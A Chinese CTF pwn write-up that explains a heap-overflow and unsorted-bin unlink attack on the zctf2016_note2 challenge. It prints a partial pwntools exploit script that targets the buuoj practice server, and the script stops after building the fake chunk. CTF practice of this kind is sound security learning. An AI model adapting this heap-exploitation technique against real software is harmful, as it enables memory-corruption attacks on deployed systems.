buuoj Pwn writeup 106-110

本文解析了多个CTF挑战,包括106zctf2016_note2、107suctf_2018_basicpwn等,详细介绍了如何利用格式化字符串漏洞、堆溢出和UAF等技术手段进行攻击。

106 zctf2016_note2

保护
在这里插入图片描述菜单堆。

new
在这里插入图片描述最多申请4个。

然后里面有个神奇的函数
在这里插入图片描述会把里面的%剔除掉。

申请的chunk最大也只能是fastbin范围的chunk。
ptr地方是指针的数组
0x602140是size的数组
0x602160是大小

show
在这里插入图片描述平平无奇输出函数。

edit
在这里插入图片描述edit推陈出新,有了两种模式,overwrite跟append。

free
在这里插入图片描述free清理的很干净。

我们最后发现这个漏洞是在edit函数里。我们只需要让v6-strlen(&dest) == 0,即可绕过’\0’的截断,实现溢出。因此我们只需add(0,’’),即可利用这个chunk来溢出,由于PIE也没开启并且堆指针保存在bss段,因此做unsorted bin unlink比较简单
需要注意的是由于使用了strcpy函数,因此,我们布置64位数据时,必须从最后一个开始,前面用正常不截断的字符填充,逐步向前来布置多个64位数据。

exp

#coding:utf8
from pwn import *

context.log_level = "debug"

r = remote('node3.buuoj.cn',27408)
libc = ELF('./64/libc-2.23.so')
elf = ELF('./106')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
r.sendlineafter('Input your name:','haivk')
r.sendlineafter('Input your address:','huse')
 
def add(size,content):
   r.sendlineafter('option--->>','1')
   r.sendlineafter('(less than 128)',str(size))
   r.sendlineafter('Input the note content:',content)
 
def show(index):
   r.sendlineafter('option--->>','2')
   r.sendlineafter('Input the id of the note:',str(index))
 
def edit(index,content,mode=1):
   r.sendlineafter('option--->>','3')
   r.sendlineafter('Input the id of the note:',str(index))
   r.sendlineafter('[1.overwrite/2.append]',str(mode))
   r.sendlineafter('TheNewContents:',content)
 
 
def delete(index):
   r.sendlineafter('option--->>','4')
   r.sendlineafter('Input the id of the note:',str(index))
 
 
heap_ptr_1 = 0x0000000000602120
#prev_size size
fake_chunk = p64(0) + p64(0x81 + 0x20)
#fd、bk
fake_chunk += p64(heap_ptr_1 - 0x18) + p64(heap_ptr_1 - 0x10)
fake_chunk += 'a'*0x10
 
add(0x80,fake_chunk) #0
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值